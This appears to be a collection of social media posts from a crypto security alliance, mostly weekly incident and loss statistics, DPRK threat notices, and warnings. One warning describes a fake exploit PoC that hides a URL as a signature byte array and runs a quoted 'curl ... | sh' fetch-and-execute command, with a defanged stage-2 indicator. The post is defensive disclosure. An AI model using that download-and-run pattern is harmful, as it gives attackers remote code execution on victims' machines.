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SEAL weekly stats, 4 - 11 Nov. 60 incident reports. Losses by category: 1) Protocol compromise: $3.87M 2) Social engineering: €3M 3) Infrastructure exploit: $914K 4) Phishing: $623K 5) Seed compromise: $169K 6) Malware: $108K 7) DPRK intrusion: $35K What we collected: 5,640 phishing domains 5,652 indicators published 105 wallets
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Protocol compromise, 4 reports, $3.87M: $2.2M exploit, $1M Loopscale, $665K exploit, and ~$200K concentrated-liquidity exploit. Infrastructure exploit, 8 reports total - a bridge DNS hijack, two compromised servers, a hosted drain. We continue to see heavily automated attacks run by attacker-controlled LLMs. They focus on gaining the smallest possible foothold in the many services and dependencies that Web3 protocols and operators rely on.
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Lazarus Group is always growing its portfolio. So are we. SEAL keeps adding new profiles, front companies, and indicators to lazarus.group, so check back before your next hire. Search by name, email, handle, or wallet.
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SEAL weekly stats, 27 Oct - 3 Nov. 99 incident reports. Losses by category: 1) Protocol compromise: $57M + 2.4 BTC (excluding Binance, see next tweet) 2) Seed compromise: $3.62M + 0.91 BTC 3) DPRK intrusion: $3M 4) Infrastructure exploit: $2.19M 5) Fake support caller: $1.57M + 1.12 BTC 6) Malware: $630K 7) Pig butchering: $332K What we collected: · 5,137 phishing domains · 5,185 indicators published · 169 wallets Recovered and frozen this week: 0.1 BTC frozen, fake-caller theft 6,200 DAI frozen, seed compromise
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The Binance hack dominated the week: 11 of the 99 reports were contact tickets (tracing, attacker addresses for freezes, third-party intel). Binance has disclosed the incident separately. SEAL is actively tracking a variety of DPRK-related campaigns, including TraderTraitor activity and continues to provide both on-chain as well as web2 indicators to relevant parties.
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Um, hello.
IS THERE AN INDUSTRY SECURITY ALLIANCE COMING? @cz_binance told us on @_TalkingTokens he wants to help form an industry security alliance to "share the best practices, cross audits, help each other freeze funds very quickly." Amid the latest hacks and AI's rapid evolution - security is top of mind right now for everyone. "Given what's happened in the last few months, I think this will come together pretty quickly."
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Reminder: Our DPRK IT worker registry is a living resource, and we're adding to it all the time. Nearly 400 profiles, 100+ cases, and ~1,000 indicators, with every claim linked to a source. Check a name, email, handle, or wallet before you hire. lazarus.group/
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The first signals came up in a group chat of independent security researchers, including our own. "In our souls, we knew it was a hack." Exchanges, analytics firms, issuers, law enforcement and independent researchers all have to trust each other enough to act in minutes. Those relationships get built long before an incident, and it’s the work SEAL exists to support. Our thanks to everyone who went without sleep this week to limit the damage. 🫶
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SEAL 911 is not a bug bounty arbitration service.
Getting into the model weights is the new SEO 🧠 @tayvano_ says AI models once sent bounty disputes straight to SEAL 911 @_SEAL_Org. With @kain and @austingriffith on Uneasy Money.
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🔥 This week's update is a doozy because of the record volume of incidents, losses, IOCs collected, and attack vectors. SEAL weekly stats, 20-27 Oct. 73 incidents. Losses by category: Phishing: $47.1M Protocol compromise: $9.46M DPRK intrusion: $3.22M Cause unknown: $3.12M Malware: $2.27M Pig butchering: $1M + €59.4K Seed compromise: $905k + 829.4 SOL Infrastructure exploit: $517K What we collected: 5,179 malicious domains 126 wallets
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🚨 Update iOS now! We saw a spike in losses due to Trust Wallet iOS compromises: 4 reports, $434K lost (previous week: 4 reports, $165K). All iOS, mostly TRON drained, most victims were Russian speakers. We suspect this is the DarkSword iOS exploit kit delivered through malicious ads.
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🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below. It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh. The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it. IOC: hxxps://162[.]35[.]174[.]231:5000/stage2. Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL. radar.securityalliance.org/a…
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Many thanks to @Lavaragexyz for tipping us off on that attack vector! Security aware community is the first line of defense against malicious actors.
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SEAL weekly stats, 13-20 Oct. 70 incidents. Losses by category: 1) CryptoBilis: $9.3M 2) Seed compromise: $3.86M + 64.5 ETH + 0.3 BTC 3) Protocol compromise: $2M + 37.44 ETH 4) Account takeover: $1.6M 5) Wrench attacks: $1.22M 6) Malware: $316K + 0.47 BTC 7) Phishing: $284K 8) DPRK intrusion: $260K
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What we collected: 2,393 phishing domains 2,437 indicators published 155 wallets
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📣 A new patch of updates have landed across SEAL Frameworks! All of these are community contributions because that's what keeps the Frameworks current and worth using. Want to contribute? h/u @mattaereal frameworks.securityalliance.… Check out all the updates in the thread below.
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1) Supply Chain Framework has a new page on running your own private registries and package mirrors: pull-through cache vs. curated repo vs. vendoring, plus how to close off dependency confusion. Thanks to @S1ns3nz0S71060 for this contribution & for taking over as Steward of this Framework! 🔥 frameworks.securityalliance.…
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🔬 Introducing SEAL Labs, where we’re partnering with outside experts on time-boxed experiments, starting with a six-month collaboration with @blockthreat to expand SEAL Intel’s incident coverage across the ecosystem. radar.securityalliance.org/i…
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SEAL weekly stats, 6-13 Oct. 81 incident reports. Losses by category: 1) CryptoBilis: $12.5M 2) Cause unknown: $4M 3) Protocol compromise: $1.2M 4) Fake support caller: $1.08M 5) Malware: $1M + 10 BTC 6) DPRK intrusion: $655K 7) Seed compromise: $498K + 2 BTC + 278 SOL
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What we collected: 6,109 phishing domains 6,136 indicators published 163 wallets
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🚨 Please get in contact with us ASAP if your funds were drained to these addresses. @SEAL_911 Telegram: [@]seal_911_bot
If you were just drained to any of the following addresses, please can you reach out to @SEAL_911 asap. Total loss is >$72M+ and increasing. TK6DWNpNe1w2iJRNFpU8aHdrPTATxvXT6C TBkcUMYC7CkTK99tkTnaStQVBastfrs9d9 TCGE3xp6YGRKXxDZiLfysgJW3f22KfMNsW TSDWtuZ2pARUVz4v3PkL2hi3iXPjowAr5a bc1qjqgwejnp8dc0x2938x9n9954hj97t82unx49dl 0x83aeac166f6832ae3500000a24510a95a052a599 0x033636e45d519bebb7b5c2520ca6ce56fbdb4f7a 0x69c8f401cfc6cd40ac94691d6d7c48e3b7a47841
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Better-informed policy starts with putting real technical expertise where decision-makers can find it. That's the purpose of OPSeC, and why SEAL Frameworks are now part of its open security repository alongside @DeFiEduFund. opsec.defieducationfund.org/…
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SEAL weekly stats, 29 Sep-6 Oct. We responded to 65 incidents over the past week. Losses by category: 1) Rug pull reported with $31M at risk 2) Seed compromise: $3.66M + 1.06 BTC + 0.7 ETH 3) Fake support caller: $1.01M 4) Protocol compromise: $875K 5) Social engineering: $175K 6) DPRK intrusion: $86.7K 7) Malware: $75K 8) Wallet compromise: $65K
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What we collected: 4,083 phishing domains 4,116 indicators published 61 wallets ⚠️ Be careful on Google when searching for hardware wallet applications. Attackers often impersonate those brands in Google results. Related, we wrote about malicious ads in Google results in April: radar.securityalliance.org/m…
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